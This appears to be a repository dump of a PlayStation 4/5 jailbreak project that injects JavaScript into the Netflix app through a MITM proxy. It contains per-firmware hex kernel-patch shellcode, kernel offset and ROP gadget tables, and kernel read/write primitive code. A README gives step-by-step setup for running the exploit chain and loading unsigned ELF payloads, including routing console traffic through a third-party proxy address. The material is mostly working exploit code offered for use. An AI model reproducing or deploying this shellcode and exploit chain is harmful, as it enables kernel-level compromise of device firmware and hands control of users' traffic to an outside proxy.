10 | "10.00": "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bfeb00000041b8eb00000041b9eb04000041ba90e9ffff4881c2f166000066898164e86100c681cd0a0000ebc6816d2c4700ebc681b12c4700ebc6812d2d4700ebc681712d4700ebc6811d2f4700ebc681cd334700ebc6819d344700eb6689b14ff16100c7819004000000000000c681c2040000eb6689b9b904000066448981b5040000c68156772600eb664489897b20390066448991a4fa1800c6815f021900ebc78140ea1b004831c0c3c6819ad50e0037c6819dd50e0037c781a02f100102000000488991a82f1001c781cc2f1001010000000f20c0480d000001000f22c031c0c3",
11 | "10.50": "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb00000066898113302100b8eb04000041b9eb00000041baeb000000668981ecb2470041bbeb000000b890e9ffff4881c22d0c05006689b1233021006689b94330210066448981b47d6200c681cd0a0000ebc681bd720d00ebc68101730d00ebc6817d730d00ebc681c1730d00ebc6816d750d00ebc6811d7a0d00ebc681ed7a0d00eb664489899f866200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c681c6c10800eb668981d42a2100c7818830210090e93c01c78160ab2d004831c0c3c6812ac4190037c6812dc4190037c781d02b100102000000488991d82b1001c781fc2b1001010000000f20c0480d000001000f22c031c0c3",
12 | "11.00": "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb000000668981334c1e00b8eb04000041b9eb00000041baeb000000668981ecc8350041bbeb000000b890e9ffff4881c2611807006689b1434c1e006689b9634c1e0066448981643f6200c681cd0a0000ebc6813ddd2d00ebc68181dd2d00ebc681fddd2d00ebc68141de2d00ebc681eddf2d00ebc6819de42d00ebc6816de52d00eb664489894f486200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c68126154300eb668981f4461e00c781a84c1e0090e93c01c781e08c08004831c0c3c6816a62150037c6816d62150037c781701910010200000048899178191001c7819c191001010000000f20c0480d000001000f22c031c0c3",
13 | "11.02": "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb000000668981534c1e00b8eb04000041b9eb00000041baeb0000006689810cc9350041bbeb000000b890e9ffff4881c2611807006689b1634c1e006689b9834c1e0066448981043f6200c681cd0a0000ebc6815ddd2d00ebc681a1dd2d00ebc6811dde2d00ebc68161de2d00ebc6810de02d00ebc681bde42d00ebc6818de52d00eb66448989ef476200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c681b6144300eb66898114471e00c781c84c1e0090e93c01c781e08c08004831c0c3c6818a62150037c6818d62150037c781701910010200000048899178191001c7819c191001010000000f20c0480d000001000f22c031c0c3",
14 | "11.50": "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb000000668981a3761b00b8eb04000041b9eb00000041baeb000000668981acbe2f0041bbeb000000b890e9ffff4881c2150307006689b1b3761b006689b9d3761b0066448981b4786200c681cd0a0000ebc681edd22b00ebc68131d32b00ebc681add32b00ebc681f1d32b00ebc6819dd52b00ebc6814dda2b00ebc6811ddb2b00eb664489899f816200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c681a6123900eb66898164711b00c78118771b0090e93c01c78120d63b004831c0c3c6813aa61f0037c6813da61f0037c781802d100102000000488991882d1001c781ac2d1001010000000f20c0480d000001000f22c031c0c3",
15 | "12.00": "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb000000668981a3761b00b8eb04000041b9eb00000041baeb000000668981ecc02f0041bbeb000000b890e9ffff4881c2717904006689b1b3761b006689b9d3761b0066448981f47a6200c681cd0a0000ebc681cdd32b00ebc68111d42b00ebc6818dd42b00ebc681d1d42b00ebc6817dd62b00ebc6812ddb2b00ebc681fddb2b00eb66448989df836200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c681e6143900eb66898164711b00c78118771b0090e93c01c78160d83b004831c0c3c6811aa71f0037c6811da71f0037c781802d100102000000488991882d1001c781ac2d1001010000000f20c0480d000001000f22c031c0c3",
16 | };
17 |
18 | // Mmap RWX patch offsets per firmware (for verification)
19 | // These are the offsets where 0x33 is patched to 0x37
20 | const kpatch_mmap_offsets = {
21 | "9.00": [0x156326a, 0x156326d], // TODO: verify
22 | "9.03": [0x156262a, 0x156262d], // TODO: verify
23 | "9.50": [0x122d7a, 0x122d7d], // TODO: verify
24 | "10.00": [0xed59a, 0xed59d], // TODO: verify
25 | "10.50": [0x19c42a, 0x19c42d], // TODO: verify
26 | "11.00": [0x15626a, 0x15626d],
27 | "11.02": [0x15628a, 0x15628d],
28 | "11.50": [0x1fa63a, 0x1fa63d],
29 | "12.00": [0x1fa71a, 0x1fa71d],
30 | };
31 |
32 | function get_mmap_patch_offsets(fw_version) {
33 | // Normalize version
34 | let lookup = fw_version;
35 | if (fw_version === "9.04") lookup = "9.03";
36 | else if (fw_version === "9.51" || fw_version === "9.60") lookup = "9.50";
37 | else if (fw_version === "10.01") lookup = "10.00";
38 | else if (fw_version === "10.70" || fw_version === "10.71") lookup = "10.50";
39 | else if (fw_version === "11.52") lookup = "11.50";
40 | else if (fw_version === "12.02") lookup = "12.00";
41 |
42 | return kpatch_mmap_offsets[lookup] || null;
43 | }
44 |
45 | // Helper to convert hex string to byte array
46 | function hexToBytes(hex) {
47 | const bytes = [];
48 | for (let i = 0; i < hex.length; i += 2) {
49 | bytes.push(parseInt(hex.substr(i, 2), 16));
50 | }
51 | return bytes;
52 | }
53 |
54 | // Get kernel patch shellcode for firmware version
55 | function get_kpatch_shellcode(fw_version) {
56 | // Normalize version for lookup
57 | let lookup_version = fw_version;
58 |
59 | // Map similar versions
60 | if (fw_version === "9.04") lookup_version = "9.03";
61 | else if (fw_version === "9.51" || fw_version === "9.60") lookup_version = "9.50";
62 | else if (fw_version === "10.01") lookup_version = "10.00";
63 | else if (fw_version === "10.70" || fw_version === "10.71") lookup_version = "10.50";
64 | else if (fw_version === "11.52") lookup_version = "11.50";
65 | else if (fw_version === "12.02") lookup_version = "12.00";
66 |
67 | const hex = kpatch_shellcode[lookup_version];
68 | if (!hex) {
69 | return null;
70 | }
71 | return hexToBytes(hex);
72 | }
73 |
74 | // Firmware-specific offsets for PS4
75 |
76 | var offset_ps4_9_00 = {
77 | EVF_OFFSET: 0x7F6F27n,
78 | PRISON0: 0x111F870n,
79 | ROOTVNODE: 0x21EFF20n,
80 | TARGET_ID_OFFSET: 0x221688Dn,
81 | SYSENT_661: 0x1107F00n,
82 | JMP_RSI_GADGET: 0x4C7ADn,
83 | };
84 |
85 | var offset_ps4_9_03 = {
86 | EVF_OFFSET: 0x7F4CE7n,
87 | PRISON0: 0x111B840n,
88 | ROOTVNODE: 0x21EBF20n,
89 | TARGET_ID_OFFSET: 0x221288Dn,
90 | SYSENT_661: 0x1103F00n,
91 | JMP_RSI_GADGET: 0x5325Bn,
92 | };
93 |
94 | var offset_ps4_9_50 = {
95 | EVF_OFFSET: 0x769A88n,
96 | PRISON0: 0x11137D0n,
97 | ROOTVNODE: 0x21A6C30n,
98 | TARGET_ID_OFFSET: 0x221A40Dn,
99 | SYSENT_661: 0x1100EE0n,
100 | JMP_RSI_GADGET: 0x15A6Dn,
101 | };
102 |
103 | var offset_ps4_10_00 = {
104 | EVF_OFFSET: 0x7B5133n,
105 | PRISON0: 0x111B8B0n,
106 | ROOTVNODE: 0x1B25BD0n,
107 | TARGET_ID_OFFSET: 0x1B9E08Dn,
108 | SYSENT_661: 0x110A980n,
109 | JMP_RSI_GADGET: 0x68B1n,
110 | };
111 |
112 | var offset_ps4_10_50 = {
113 | EVF_OFFSET: 0x7A7B14n,
114 | PRISON0: 0x111B910n,
115 | ROOTVNODE: 0x1BF81F0n,
116 | TARGET_ID_OFFSET: 0x1BE460Dn,
117 | SYSENT_661: 0x110A5B0n,
118 | JMP_RSI_GADGET: 0x50DEDn,
119 | };
120 |
121 | var offset_ps4_11_00 = {
122 | EVF_OFFSET: 0x7FC26Fn,
123 | PRISON0: 0x111F830n,
124 | ROOTVNODE: 0x2116640n,
125 | TARGET_ID_OFFSET: 0x221C60Dn,
126 | SYSENT_661: 0x1109350n,
127 | JMP_RSI_GADGET: 0x71A21n,
128 | };
129 |
130 | var offset_ps4_11_02 = {
131 | EVF_OFFSET: 0x7FC22Fn,
132 | PRISON0: 0x111F830n,
133 | ROOTVNODE: 0x2116640n,
134 | TARGET_ID_OFFSET: 0x221C60Dn,
135 | SYSENT_661: 0x1109350n,
136 | JMP_RSI_GADGET: 0x71A21n,
137 | };
138 |
139 | var offset_ps4_11_50 = {
140 | EVF_OFFSET: 0x784318n,
141 | PRISON0: 0x111FA18n,
142 | ROOTVNODE: 0x2136E90n,
143 | TARGET_ID_OFFSET: 0x21CC60Dn,
144 | SYSENT_661: 0x110A760n,
145 | JMP_RSI_GADGET: 0x704D5n,
146 | };
147 |
148 | var offset_ps4_12_00 = {
149 | EVF_OFFSET: 0x784798n,
150 | PRISON0: 0x111FA18n,
151 | ROOTVNODE: 0x2136E90n,
152 | TARGET_ID_OFFSET: 0x21CC60Dn,
153 | SYSENT_661: 0x110A760n,
154 | JMP_RSI_GADGET: 0x47B31n,
155 | };
156 |
157 | // Map firmware versions to offset objects
158 | var ps4_kernel_offset_list = {
159 | "9.00": offset_ps4_9_00,
160 | "9.03": offset_ps4_9_03,
161 | "9.04": offset_ps4_9_03,
162 | "9.50": offset_ps4_9_50,
163 | "9.51": offset_ps4_9_50,
164 | "9.60": offset_ps4_9_50,
165 | "10.00": offset_ps4_10_00,
166 | "10.01": offset_ps4_10_00,
167 | "10.50": offset_ps4_10_50,
168 | "10.70": offset_ps4_10_50,
169 | "10.71": offset_ps4_10_50,
170 | "11.00": offset_ps4_11_00,
171 | "11.02": offset_ps4_11_02,
172 | "11.50": offset_ps4_11_50,
173 | "11.52": offset_ps4_11_50,
174 | "12.00": offset_ps4_12_00,
175 | "12.02": offset_ps4_12_00,
176 | };
177 |
178 | var kernel_offset = null;
179 |
180 | function get_kernel_offset(FW_VERSION) {
181 | const fw_offsets = ps4_kernel_offset_list[FW_VERSION];
182 |
183 | if (!fw_offsets) {
184 | throw new Error("Unsupported PS4 firmware version: " + FW_VERSION);
185 | }
186 |
187 | kernel_offset = { ...fw_offsets };
188 |
189 | // PS4-specific proc structure offsets
190 | kernel_offset.PROC_FD = 0x48n;
191 | kernel_offset.PROC_PID = 0xB0n; // PS4 = 0xB0, PS5 = 0xBC
192 | kernel_offset.PROC_VM_SPACE = 0x200n;
193 | kernel_offset.PROC_UCRED = 0x40n;
194 | kernel_offset.PROC_COMM = -1n; // Found dynamically
195 | kernel_offset.PROC_SYSENT = -1n; // Found dynamically
196 |
197 | // filedesc - PS4 different from PS5
198 | kernel_offset.FILEDESC_OFILES = 0x0n; // PS4 = 0x0, PS5 = 0x8
199 | kernel_offset.SIZEOF_OFILES = 0x8n; // PS4 = 0x8, PS5 = 0x30
200 |
201 | // vmspace structure
202 | kernel_offset.VMSPACE_VM_PMAP = -1n;
203 |
204 | // pmap structure
205 | kernel_offset.PMAP_CR3 = 0x28n;
206 |
207 | // socket/net - PS4 specific
208 | kernel_offset.SO_PCB = 0x18n;
209 | kernel_offset.INPCB_PKTOPTS = 0x118n; // PS4 = 0x118, PS5 = 0x120
210 |
211 | // pktopts structure - PS4 specific
212 | kernel_offset.IP6PO_TCLASS = 0xB0n; // PS4 = 0xB0, PS5 = 0xC0
213 | kernel_offset.IP6PO_RTHDR = 0x68n; // PS4 = 0x68, PS5 = 0x70
214 |
215 | return kernel_offset;
216 | }
217 |
218 | function find_proc_offsets() {
219 | const proc_data = kernel.read_buffer(kernel.addr.curproc, 0x1000);
220 |
221 | // Look for patterns to find dynamic offsets
222 | const p_comm_sign = find_pattern(proc_data, "ce fa ef be cc bb");
223 | const p_sysent_sign = find_pattern(proc_data, "ff ff ff ff ff ff ff 7f");
224 |
225 | if (p_comm_sign.length === 0) {
226 | throw new Error("failed to find offset for PROC_COMM");
227 | }
228 |
229 | if (p_sysent_sign.length === 0) {
230 | throw new Error("failed to find offset for PROC_SYSENT");
231 | }
232 |
233 | const p_comm_offset = BigInt(p_comm_sign[0] + 0x8);
234 | const p_sysent_offset = BigInt(p_sysent_sign[0] - 0x10);
235 |
236 | return {
237 | PROC_COMM: p_comm_offset,
238 | PROC_SYSENT: p_sysent_offset
239 | };
240 | }
241 |
242 | function update_kernel_offsets() {
243 | const offsets = find_proc_offsets();
244 |
245 | for (const [key, value] of Object.entries(offsets)) {
246 | kernel_offset[key] = value;
247 | }
248 | }
249 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Netflix 'N Hack
2 |
3 |
4 |
5 | Inject custom JavaScript into the Netflix PS5 error screen by intercepting Netflix's requests to localhost.
6 |
7 | PS5 firmware version: 4.03-12.XX
8 |
9 | Lowest working version: https://prosperopatches.com/PPSA01614?v=05.000.000 (Needs to be properly merged)
10 |
11 | **Recommended download link merged 6.00:** https://pkg-zone.com/details/PPSA01615
12 |
13 | > This project uses a local MITM proxy to inject and execute `inject.js` on the Netflix error page
14 |
15 | > [!IMPORTANT]
16 | > Jailbreaking or modifying your console falls outside the manufacturer’s intended use.
17 | Any execution of unsigned or custom code is performed **solely at your own risk**.
18 | >
19 | > By using this project, you acknowledge that:
20 | >
21 | > - You assume full responsibility for any damage, data loss, or system instability.
22 | > - The contributors and maintainers of this repository **cannot be held liable** for any issues arising from the use of this code or any related instructions.
23 | > - This project is provided **“as is”**, without warranty of any kind, express or implied.
24 | >
25 | > Proceed only if you understand and accept these risks.
26 |
27 | Having issues? Let me know on [Discord](https://discord.gg/QMGHzzW89V)
28 | ---
29 | # Instructions
30 |
31 | ### Extended Storage Setup
32 |
33 | > [!WARNING]
34 | > This will wipe your drive.
35 |
36 | **Disclaimer:** Only works on PS5s that have an activated account. Real PSN account or Fake activated via jailbreak.
37 |
38 | **Do not update your console to activate!** Use System backup method below
39 |
40 | ### Requirements for PS4 Version
41 |
42 | The PS4 version of Netflix requires a license.
43 |
44 | **You may have the license if:**
45 | 1. You have previously installed Netflix but deleted it.
46 | 2. You currently have the retail application installed and can run it without jailbreaking. (Not the one from homebrew store/pkg zone)
47 | 3. You have a real PSN account activated as primary.
48 |
49 | If you don't know if you have the license, you can still try flashing the extended storage image for your region (region relevant only for PS4) and testing to see if the Netflix app will work. If it stays locked, it means you don't have a license and you will not be able to use the jailbreak.
50 |
51 | **Requirements to flash the extended storage image:**
52 | 1. PS4 firmware 9.00-12.02
53 | 2. 256GB or larger (up to 8TB) USB drive / External HDD / External SSD
54 | 3. Must be USB 3.0 connection
55 |
56 | > [!TIP]
57 | > If you have a higher version application than the vulnerable 1.53 version, delete it and flash an extended storage image to a drive — it'll give you the 1.53 version.
58 |
59 | > [!NOTE]
60 | > Alternatively, if you can already jailbreak, instead of flashing an extended storage image you can install the retail version of Netflix and use it afterwards. **Still requires a license.**
61 |
62 | ---
63 |
64 | ### Extended Storage Drive Setup (PS4)
65 |
66 | > [!IMPORTANT]
67 | > Before plugging in the extended storage drive, delete the Netflix app from your PS4 if you have it installed. Then turn off the console, plug in the extended storage drive, and turn the console back on.
68 |
69 | #### Step 1: Download balenaEtcher
70 | - Download **balenaEtcher** for Windows, macOS, or Linux from:
71 | [https://etcher.balena.io](https://etcher.balena.io/#download-etcher)
72 |
73 | #### Step 2: Download the Image Archive
74 | - Download the **`.7z` archive** for your region from the [**Releases** section.](https://github.com/earthonion/Netflix-N-Hack/releases/tag/External-Drive) For PS4 the Images are Netflix_PS4_xx.7z ,US/EU/JP to indicate the region they are for.
75 | > [!NOTE]
76 | > Extended Storage does not require an exact capacity beyond the minimum of 256GB. Meaning that if your drive is 256GB you can use the image. If your drive is 500GB you can use the image. Or if it is 1TB you can use the image and etc up to 8TB. But if it is 250GB you cannot use the image.**
77 | - The `.7z` download size is roughly ~**95-200 MB** and around 400MB unpacked.
78 |
79 | #### Step 3: Extract the ZIP Image
80 | - Extract the downloaded `.7z` file.
81 | - Inside, you will see a `.zip` image file.
82 |
83 | #### Step 4: Write the Image with balenaEtcher
84 | 1. Connect your Drive to your computer (using a dock/enclosure or spare M.2 slot).
85 | 2. Open **balenaEtcher**.
86 | 3. Click **“Flash from file”** and select the extracted **`.zip`** image.
87 | 4. Click **“Select target”** and choose your Drive.
88 | 5. Click **“Flash!”** to start the process.
89 |
90 | > Etcher will appear stuck at **0%** for a while, then at **85-99%** for several minutes.
91 | > This is normal, let it finish without interruption!
92 | > If you encounter damaged image warnings, reboot your pc, redownload the image.
93 |
94 | #### Step 5: Moving the Netflix App to Internal Storage
95 | 1. Go to Settings -> Storage -> Extended Storage -> Applications -> [Press Options on controller] -> Move To System Storage
96 | 2. Press X on the Netflix App to tick and select it.
97 | 3. Go to "Move" and press X.
98 | 4. Press OK on the prompt to move the app to internal storage. It will then move to internal storage and be usable for the exploit. Accessible from the Media tab of the XMB.
99 |
100 | ### Extended Storage Drive Setup (PS5)
101 |
102 | > [!IMPORTANT]
103 | > While the console is off, plug in the extended storage drive, then turn the console on.
104 |
105 | #### Step 1: Download balenaEtcher
106 | - Download **balenaEtcher** for Windows, macOS, or Linux from:
107 | [https://etcher.balena.io](https://etcher.balena.io/#download-etcher)
108 |
109 | #### Step 2: Download the Image Archive
110 | - Download the **`.7z` archive** for your desired region from the [**Releases** section.](https://github.com/earthonion/Netflix-N-Hack/releases/tag/External-Drive) the PS5 Extended Storage Image is PS5_EU_Ext.7z
111 | - NOTE: ** Extended Storage does not require an exact capacity beyond the minimum of 256GB. Meaning that if your drive is 256GB you can use the image. If your drive is 500GB you can use the image. Or if it is 1TB you can use the image and etc up to 8TB. But if it is 250GB you cannot use the image.**
112 | - The `.7z` download size is roughly ~**95-300 MB** and around 500MB unpacked.
113 |
114 | #### Step 3: Extract the ZIP Image
115 | - Extract the downloaded `.7z` file.
116 | - Inside, you will see a `.zip` image file.
117 |
118 | #### Step 4: Write the Image with balenaEtcher
119 | 1. Connect your Drive to your computer (using a dock/enclosure or spare M.2 slot).
120 | 2. Open **balenaEtcher**.
121 | 3. Click **“Flash from file”** and select the extracted **`.zip`** image.
122 | 4. Click **“Select target”** and choose your Drive.
123 | 5. Click **“Flash!”** to start the process.
124 |
125 | > Etcher will appear stuck at **0%** for a while, then at **85-99%** for several minutes.
126 | > This is normal, let it finish without interruption!
127 | > If you encounter damaged image warnings, reboot your pc, redownload the image.
128 |
129 | #### Step 5: Moving the Netflix App to Internal Storage
130 | 1. Go to Settings>Storage>USB Extended Storage>Games and Apps
131 | 2. Press X to select the Netflix app.
132 | 3. Go to "Select Items to Move" and press X.
133 | 4. The Netflix app should be selected now go to "Move" and press X
134 | 5. Press OK on the prompt to move the app to internal storage. It will then move to internal storage and be usable for the exploit. Accessible from the Media tab of the XMB.
135 |
136 |
137 | ### M.2 Drive Setup (PCIe Gen 4 NVMe for PS5)
138 |
139 | #### Step 1: Download balenaEtcher
140 | - Download **balenaEtcher** for Windows, macOS, or Linux from:
141 | [https://etcher.balena.io](https://etcher.balena.io/#download-etcher)
142 |
143 | #### Step 2: Download the Image Archive
144 | - Download the **`.7z` archive** for your desired capacity from the [**Releases** section.](https://github.com/earthonion/netflix-n-hack/releases)
145 | - NOTE: **Exact capacity matters for M.2 Images only** - not all 1TB drives are 1000GB: some are 1024GB, same with 2000/2048, 4000/4096; choose carefully!
146 | - The `.7z` download size is roughly ~**95-200 MB**. Unpacked files range from ~**95100MB-4GB**.
147 |
148 | #### Step 3: Extract the ZIP Image
149 | - Extract the downloaded `.7z` file.
150 | - Inside, you will see a `.zip` image file, with size depending on the target SSD:
151 |
152 |
153 | - **256 GB image:** ~**380 MB** `.zip`
154 | - **500 GB image:** ~**670 MB** `.zip`
155 | - **1 TB image:** ~**1.2 GB** `.zip`
156 | - **2 TB image:** ~**2.3 GB** `.zip`
157 | - **4 TB image:** ~**3.9 GB** `.zip`
158 |
159 | **This `.zip` is what you will flash with balenaEtcher.**
160 |
161 | > **Note:** When you load this image in balenaEtcher, you may see a
162 | > `Missing partition table` warning. This is expected for encrypted PS5 drives.
163 | > It is safe to click **Continue**.
164 |
165 |
166 | #### Step 4: Write the Image with balenaEtcher
167 | 1. Connect your **M.2 SSD (PCIe Gen 4 NVMe)** to your computer (using a dock/enclosure or spare M.2 slot).
168 | 2. Open **balenaEtcher**.
169 | 3. Click **“Flash from file”** and select the extracted **`.zip`** image for your chosen capacity.
170 | 4. Click **“Select target”** and choose your **M.2 SSD**.
171 | 5. Click **“Flash!”** to start the process.
172 |
173 | > Approximate flashing times (varies depending on M.2 dock/enclosure speed and your CPU):
174 | > - **256 GB image:** ~**10 minutes**
175 | > - **500 GB image:** ~**15 minutes**
176 | > - **1 TB image:** ~**25 minutes**
177 | > - **2 TB image:** ~**45 minutes**
178 | > - **4 TB image:** ~**80 minutes**
179 | >
180 | > Etcher will appear stuck at **0%** for a while, then at **85-99%** for several minutes.
181 | > This is normal, let it finish without interruption!
182 | > If you encounter damaged image warnings, reboot your pc, redownload the image or use a different enclosure/motherboard slot for the m.2 SSD.
183 |
184 | #### Step 5: Install the M.2 Drive in the PS5
185 | - Power off the PS5 completely.
186 | - Install the imaged **M.2 SSD** into the PS5’s internal M.2 slot.
187 | - Power the PS5 back on; the console should now see the preinstalled Netflix app, viewable under `Storage` settings.
188 | - Move app from the M.2 to console storage, then reformat the M.2 drive in under `Storage` settings to safely continue using it.
189 |
190 | #### Step 6: Move the Netflix App to Internal Storage
191 |
192 | ---
193 |
194 | ### System Backup Restore
195 |
196 | > [!WARNING]
197 | > This will wipe all existing games and saves from your PS5!
198 |
199 | #### Step 1: Prepare the Backup USB
200 | 1. Format a USB drive as **exFAT** or **FAT32**.
201 | 2. Unzip the **system backup** onto the formatted USB drive.
202 |
203 | #### Step 2: Restore the System
204 | Follow Sony’s official guide to restore your PS5 system from the USB:
205 | [https://www.playstation.com/en-us/support/hardware/back-up-ps5-data-USB/](https://www.playstation.com/en-us/support/hardware/back-up-ps5-data-USB/)
206 |
207 |
208 | # Safe Internet Connection Setup for Netflix
209 |
210 | ## Step 1: Open Network Settings
211 | 1. On your console, go to:
212 | **Settings > Network > Settings > Set Up Internet Connection**
213 |
214 | 2. Scroll to the bottom and select:
215 | **Set Up Manually**
216 |
217 | ---
218 |
219 | ## Step 2: Choose Connection Type
220 | - **Wi-Fi:** Select **Use Wi-Fi**
221 | - **LAN Cable:** Select **Use a LAN Cable**
222 |
223 | If using **Wi-Fi**:
224 | 1. Choose **Enter Manually**.
225 | 2. Enter your SSID **Wi-Fi network name**.
226 | 2. Set **Security Method** to **WPA-Personal/WPA2..** (or similar).
227 | 3. Enter your ***Wi-Fi network password**.
228 |
229 | ---
230 |
231 | ## Step 3: Configure Proxy Settings
232 | For either **Wi-Fi** or **LAN**, continue the setup:
233 |
234 | 1. Scroll to the **Proxy** setting.
235 | 2. Change it from **Automatic** to **Manual**.
236 | 3. Enter the following details:
237 |
238 | - **Address:** `172.105.156.37`
239 | - **Port:** `42069`
240 |
241 | 4. Press **Done** to save your settings.
242 |
243 | ---
244 |
245 | ## Step 4: Finalize and Connect
246 | - Wait for the console to attempt a connection.
247 | - You may see **Can't connect to the internet** — this is expected and can be ignored after pressing OK.
248 | - The connection will still function normally.
249 |
250 | You can now open **Netflix** safely.
251 |
252 |
253 |
254 | ---
255 | # How to run proxy locally
256 |
257 | ## Requirements
258 |
259 | - Python (for `mitmproxy`)
260 | - `mitmproxy` (`pip install mitmproxy`)
261 |
262 | ---
263 |
264 | ## Installation & Usage
265 |
266 | ```bash
267 | # install mitmproxy
268 | pip install mitmproxy
269 |
270 | # clone repository
271 | git clone https://github.com/earthonion/Netflix-N-Hack/
272 | cd Netflix-N-Hack
273 |
274 | # run mitmproxy with the provided script
275 | mitmproxy -s proxy.py
276 |
277 | ```
278 |
279 | Current script will trigger after the WebSocket for remote logging is initiated.
280 |
281 | ```bash
282 | # install websockets
283 | pip install websockets
284 |
285 | # Generate Keys
286 | openssl req -x509 -newkey rsa:4096 -nodes -keyout key.pem -out cert.pem -days 365 -subj "/CN=localhost"
287 |
288 | # run WebSocket server
289 | python ws.py
290 |
291 | ```
292 |
293 | ### Network / Proxy Setup
294 |
295 | On your PS5:
296 |
297 | 1. Go to Settings > Network > Settings > Set Up Internet Connection.
298 |
299 | 2. Scroll to the bottom and select Set Up Manually.
300 |
301 | 3. Choose Connection Type **Use Wi-Fi** or **Use a LAN Cable**
302 | If using **Wi-Fi**:
303 | Choose **Enter Manually**, Enter your SSID **Wi-Fi network name**. Set **Security Method** to **WPA-Personal/WPA2..** (or similar) then Enter your ***Wi-Fi network password**.
304 |
305 | 4. Use Automatic for DNS Settings and MTU Settings.
306 |
307 | 5. At Proxy Server, choose Use and enter:
308 |
309 | - IP address: \
310 |
311 | - Port: 8080
312 |
313 | 6. Press Done and wait for the connection to establish
314 | - You may see **Can't connect to the internet** — this is expected and can be ignored after pressing OK.
315 |
316 | 7. Edit inject.js and inject_elfldr_automated.js:
317 |
318 | ```
319 | const ip_script = "10.0.0.2"; // IP address of computer running mitmproxy.
320 | const ip_script_port = 8080; //port which mitmproxy is running on
321 |
322 | ```
323 |
324 | > Make sure your PC running mitmproxy is on the same network and reachable at the IP you entered.
325 |
326 | ### Open Netflix and wait.
327 |
328 |
329 | > [!NOTE]
330 | If you see elfldr listening on port 9021 you can send your elf payload.
331 |
332 | ### if it fails reboot and try again
333 |
334 | ### Troubleshooting
335 | - If the Netflix application crashes shortly after opening it, reopen it to retry.
336 | - If you see a green text error "Exception" press X or O to retry.
337 | - If Lapse fails you will see a notification telling you to reboot the console, you must reboot to retry.
338 |
339 |
340 |
341 | ---
342 |
343 | ### Credits
344 | - [c0w-ar](https://github.com/c0w-ar/) for complete inject.js userland exploit and lapse port from Y2JB!
345 | - [ufm42](https://github.com/ufm42) for regex sandbox escape exploit and ideas!
346 | - [autechre](https://github.com/autechre-warp) for the idea!
347 | - [Dr.Yenyen](https://github.com/DrYenyen) for testing and coordinating system back up, M.2 Drives, Extended Storage, making PS5 Extended storage Image and much more help!
348 | - [Gezine](https://github.com/gezine) for help with exploit/Y2JB for reference and original lapse.js!
349 | - Rush for creating system backup, 256GB and 2TB M.2 Images, PS4 Extended Storage Images and hours of testing!!
350 | - [Jester](https://github.com/god-jester) for testing 2TB and devising easiest imaging method, and gathering all images for m.2!
351 | - [TeRex777](https://x.com/TeRex777_) for PS5 App Extended Storage method.
352 |
--------------------------------------------------------------------------------
/PS4/payloads/lapse/kernel.js:
--------------------------------------------------------------------------------
1 | // PS4 Kernel Read/Write primitives
2 | // Ported from PS5 version - adjusted for PS4 structure offsets
3 |
4 | var kernel = {
5 | addr: {},
6 | copyout: null,
7 | copyin: null,
8 | read_buffer: null,
9 | write_buffer: null
10 | };
11 |
12 | kernel.read_byte = function(kaddr) {
13 | const value = kernel.read_buffer(kaddr, 1);
14 | return value && value.length === 1 ? BigInt(value[0]) : null;
15 | };
16 |
17 | kernel.read_word = function(kaddr) {
18 | const value = kernel.read_buffer(kaddr, 2);
19 | if (!value || value.length !== 2) return null;
20 | return BigInt(value[0]) | (BigInt(value[1]) << 8n);
21 | };
22 |
23 | kernel.read_dword = function(kaddr) {
24 | const value = kernel.read_buffer(kaddr, 4);
25 | if (!value || value.length !== 4) return null;
26 | let result = 0n;
27 | for (let i = 0; i < 4; i++) {
28 | result |= (BigInt(value[i]) << BigInt(i * 8));
29 | }
30 | return result;
31 | };
32 |
33 | kernel.read_qword = function(kaddr) {
34 | const value = kernel.read_buffer(kaddr, 8);
35 | if (!value || value.length !== 8) return null;
36 | let result = 0n;
37 | for (let i = 0; i < 8; i++) {
38 | result |= (BigInt(value[i]) << BigInt(i * 8));
39 | }
40 | return result;
41 | };
42 |
43 | kernel.read_null_terminated_string = function(kaddr) {
44 | let result = "";
45 |
46 | while (true) {
47 | const chunk = kernel.read_buffer(kaddr, 0x8);
48 | if (!chunk || chunk.length === 0) break;
49 |
50 | let null_pos = -1;
51 | for (let i = 0; i < chunk.length; i++) {
52 | if (chunk[i] === 0) {
53 | null_pos = i;
54 | break;
55 | }
56 | }
57 |
58 | if (null_pos >= 0) {
59 | if (null_pos > 0) {
60 | for(let i = 0; i < null_pos; i++) {
61 | result += String.fromCharCode(Number(chunk[i]));
62 | }
63 | }
64 | return result;
65 | }
66 |
67 | for(let i = 0; i < chunk.length; i++) {
68 | result += String.fromCharCode(Number(chunk[i]));
69 | }
70 |
71 | kaddr = kaddr + BigInt(chunk.length);
72 | }
73 |
74 | return result;
75 | };
76 |
77 | kernel.write_byte = function(dest, value) {
78 | const buf = new Uint8Array(1);
79 | buf[0] = Number(value & 0xFFn);
80 | kernel.write_buffer(dest, buf);
81 | };
82 |
83 | kernel.write_word = function(dest, value) {
84 | const buf = new Uint8Array(2);
85 | buf[0] = Number(value & 0xFFn);
86 | buf[1] = Number((value >> 8n) & 0xFFn);
87 | kernel.write_buffer(dest, buf);
88 | };
89 |
90 | kernel.write_dword = function(dest, value) {
91 | const buf = new Uint8Array(4);
92 | for (let i = 0; i < 4; i++) {
93 | buf[i] = Number((value >> BigInt(i * 8)) & 0xFFn);
94 | }
95 | kernel.write_buffer(dest, buf);
96 | };
97 |
98 | kernel.write_qword = function(dest, value) {
99 | const buf = new Uint8Array(8);
100 | for (let i = 0; i < 8; i++) {
101 | buf[i] = Number((value >> BigInt(i * 8)) & 0xFFn);
102 | }
103 | kernel.write_buffer(dest, buf);
104 | };
105 |
